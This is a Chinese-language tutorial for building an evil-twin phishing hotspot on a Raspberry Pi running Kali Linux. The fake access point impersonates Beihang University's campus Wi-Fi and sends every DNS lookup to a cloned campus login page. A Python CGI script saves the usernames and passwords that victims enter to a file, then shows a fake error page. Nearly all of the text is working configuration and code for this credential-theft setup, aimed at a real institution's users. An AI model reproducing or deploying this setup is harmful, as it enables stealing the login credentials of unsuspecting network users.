0x1 關於樹莓派
The Raspberry Pi is a tiny and affordable computer that you can use to learn programming through fun, practical projects.
樹莓派是一個小型的而且很便宜的($35)電腦,在這個電腦上你可以通過有趣的實用的項目學習編程。
樹莓派2 Model B長這樣:

具體介紹戳官網:Raspberry Pi - Teach, Learn, and Make with Raspberry Pi
0x2 關於系統
樹莓派官方出的系統是Raspbian,基於Debian並根據樹莓派的硬件進行了優化:
Raspbian is a free operating system based on Debian optimized for the Raspberry Pi hardware.
具體介紹戳官網:Raspbian: FrontPage
當然其他的操作系統,如Ubuntu、Fedora都有針對樹莓派的版本。我選的系統是Kali Linux,選它的原因請參考標題。
Kali官方有針對樹莓派2的版本,具體安裝教程戳官網:Kali Linux – Raspberry Pi | Kali Linux
0x3 關於無線網卡和Micro SD卡
我選的無線網卡是 EDUP EP-N8508GS黃金版 迷你USB無線網卡 樹莓派專用,芯片是rtl8188cus,免驅即插即用。
選擇無線網卡的時候請參考官網:RPi USB Wi-Fi Adapters
我選的Micro SD卡是 閃迪(SanDisk)32GB UHS-I 至尊高速移動MicroSDHC-TF存儲卡(讀速48Mb/s)
選擇Micro SD卡的時候請參考官網:RPi SD cards
0x4 安裝和配置相關軟件
假設已經按照教程安裝好了系統,也插上無線網卡了,接下來就是安裝必要的軟件。
連接樹莓派的方式有通過顯示器(需要HDMI轉接頭)、SSH登錄、VNC連接等,因為Kali開機自動啟動SSH Server,所以只要知道樹莓派的IP地址,用SSH連過去就行了,Kali的默認用戶名是root,登錄密碼是toor。
代碼前有#的表示在bash下以root身份運行的代碼,沒有的表示修改的文件內容。
0x40 修改更新源,在/etc/apt/sources.list中添加:
deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free deb http://mirrors.aliyun.com/kali kali main non-free contrib deb-src http://mirrors.aliyun.com/kali kali main non-free contrib deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free
然后進行更新,apt-get update && apt-get upgrade
0x41 根分區擴充
下面鏈接中的文件可能有更新,請根據需要進入對應目錄選擇版本
# wget http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20150131-1_all.deb # wget http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2_armhf.deb # wget http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-7.1_armhf.deb # dpkg -i triggerhappy_0.3.4-2_armhf.deb # dpkg -i lua5.1_5.1.5-7.1_armhf.deb # dpkg -i raspi-config_20150131-1_all.deb
然后使用raspi-config命令進入系統設置,選擇第一項Expand Filesystem擴充,當然系統設置中還有其他設置,根據需要進行設置即可。用df -lh檢查文件系統大小,根分區是否為SD卡大小
0x42 安裝和配置hostapd
hostapd的作用是提供無線共享,即配置並成功運行hostapd后,能夠搜索到熱點
# apt-get install hostapd
由於無線網卡支持的問題,系統安裝的hostapd不支持rtl8188cus芯片,需要將hostapd替換為兼容版本:
# wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip # unzip hostapd.zip # sudo mv /usr/sbin/hostapd /usr/sbin/hostapd.bak # sudo mv hostapd /usr/sbin/hostapd.cat # sudo ln -sf /usr/sbin/hostapd.cat /usr/sbin/hostapd # sudo chmod 755 /usr/sbin/hostapd
修改(沒有的話新建)/etc/hostapd/hostapd.conf:
interface=wlan0 ctrl_interface=wlan0 ctrl_interface_group=0 ssid=BUAA-WIFI # 偽熱點名,例如我的是校園網的WIFI熱點名 channel=2 macaddr_acl=0 ignore_broadcast_ssid=0 driver=rtl871xdrv hw_mode=g wmm_enabled=1
因為是用來釣魚的偽熱點,所以不設置熱點密碼
修改/etc/default/hostapd,去掉DAEMON_CONF前的注釋符號並修改為我們的配置文件路徑:
DAEMON_CONF="/etc/hostapd/hostapd.conf"
啟動hostapd:
# service hostapd start
0x43 安裝和配置isc-dhcp-server
isc-dhcp-server提供的是為接進熱點的設備分配IP
# apt-get install isc-dhcp-server
修改/etc/dhcp/dhcpd.conf:
ddns-update-style none; default-lease-time 600; max-lease-time 7200; authoritative; log-facility local7; subnet 192.168.126.112 netmask 255.255.255.240 { # 創建一個子網 range 192.168.126.113 192.168.126.125; # 分配的IP范圍 option domain-name-servers 192.168.126.126; # 使用本機的DNS服務器 option domain-name "rpi"; option routers 192.168.126.126; # 網關為本機 option broadcast-address 192.168.126.127; # 廣播地址 }
修改/etc/default/isc-dhcp-server:
DHCPD_CONF="/etc/dhcp/dhcpd.conf" INTERFACES="wlan0"
啟動isc-dhcp-server:
# service isc-dhcp-server start
0x44 安裝和配置dnsmasq
dnsmasq提供的是為接進熱點的設備進行流量引導,Kali中已經安裝好dnsmasq了
修改(沒有的話新建)/etc/dnsmasq.conf:
interface=wlan0 bind-interfaces address=/#/192.168.126.126 # 將對所有網站的訪問重定向到本機
啟動dnsmasq:
# dnsmasq
0x45 添加iptables規則
修改/etc/sysctl.conf:
net.ipv4.ip_forward=1
修改/proc/sys/net/ipv4/ip_forward為1
添加轉發規則:
# sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT # sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
然后用iptables -t nat -S和iptables -S檢查是否添加成功
為了讓上面的規則在開始時自動添加,執行:
# sh -c "iptables-save > /etc/iptables.ipv4.nat"
0x46 設置wlan0的靜態IP
修改/etc/network/interfaces,添加:
auto wlan0 allow-hotplug wlan0 iface wlan0 inet static address 192.168.126.126 # 與之前dhcpd.conf填寫的網關地址相同 netmask 255.255.255.240 # 與之前dhcpd.conf填寫的子網掩碼相同 up iptables-restore < /etc/iptables.ipv4.nat
0x47 安裝和配置apache2
apache2提供的是為將重定向的流量引導到本機服務器運行的網頁中,Kali中已經安裝好apache2了
修改/etc/apache2/sites-available/default,在合適的標簽下添加:
<VirtualHost *:80> ... ServerName gw.buaa.edu.cn # 偽造服務器名 DirectoryIndex gw.buaa.edu.cn.html # 將默認界面改為釣魚網站頁面 ... <Directory "/usr/lib/cgi-bin"> AddHandler cgi-script .py # 添加對.py的支持 ...
啟動apache2:
# service apache2 start
0x48 編寫釣魚網站
我要釣魚的是學校的校園網登錄網站,所以copy校園網登錄的界面,修改里面的表單提交action,提交到本機服務的后台,例如我的釣魚網站/var/www/gw.buaa.edu.cn.html:
... <script type="text/javascript"> function login() { var errorMsg = []; var username = $("input[name='username']").val(); var password = $("input[name='password']").val(); if(username == '' || username == '用戶名*') { errorMsg.push('請輸入用戶名.'); $('#txtuser').focus(); } if (password == '' || password == '密碼*') { errorMsg.push('請輸入密碼.'); $('#txtPwd').focus(); } if (errorMsg != "") { if (errorMsg.length > 0) { $('#divloginError').html('').html($('<ul/>', { html: '<li>' + errorMsg.join('</li><li>') + '</li>' })).show(); $('#dvloginErrorM').show(); $.mobile.silentScroll(125); } else { $('#dvloginErrorM').hide(); } } else { document.aspnetForm.submit(); } } </script> ... <!--表單提交--> <form name="aspnetForm" method="post" action="/cgi-bin/login.py"...> <!--用戶提交按鈕--> <a href="javascript:login()".../> </form>
編寫后台處理程序,我用的是python的cgi,在/usr/lib/gci-bin下新建login.py:
#!/usr/bin/python #-*- encoding: utf-8 -*- import cgi, cgitb form = cgi.FieldStorage() username = form.getvalue('username') # 獲得用戶名 password = form.getvalue('password') # 獲得密碼 f = open('/cat/gw.buaa.edu.cn.log', 'a') # 注意apache是否有所寫文件夾的權限!! f.write("%s: %s\r\n" % (username, password)) # 將用戶名和密碼寫入文件 f.close() print "Content-type:text/html\r\n\r\n" # 然后顯示一個錯誤頁面 print '<html><head>' print '<title>Error 126</title>' print '</head><body>' print '<h1>Error establishing a database connection</h1>' print '</body></html>'
將login.py的權限設置為755,即有運行權限
0x49 將上述配置開機自啟動
# update-rc.d hostapd enable # update-rc.d isc-dhcp-server enable # update-rc.d apache2 enable
對於dnsmasq,需要手動編寫開機啟動腳本,在/etc/init.d/下新建文件dnsmasq:
#!/bin/bash set -e case "$1" in start) dnsmasq& ;; stop) killall -9 dnsmasq ;; restart) killall -9 dnsmasq dnsmasq& ;; esac exit 0
然后進入/etc/rc3.d/下,執行:
# ln -sf /etc/init.d/dnsmasq S06dnsmasq
S06表示啟動優先級,數字越大,優先級越低,比如服務A的運行要依賴服務B,那A的數字就應該大於B的
最后,編輯/etc/rc.local,添加:
service dnsmasq start
0x5 測試運行
首先連接上偽熱點BUAA-WIFI,然后在瀏覽器輸入一個網址,瀏覽器將自動跳轉到校園網登錄界面:

當用戶輸入登錄的用戶名和密碼,點擊登錄后,將跳轉到錯誤頁面,但是用戶名和密碼都已經被后台服務器記錄到文件中。
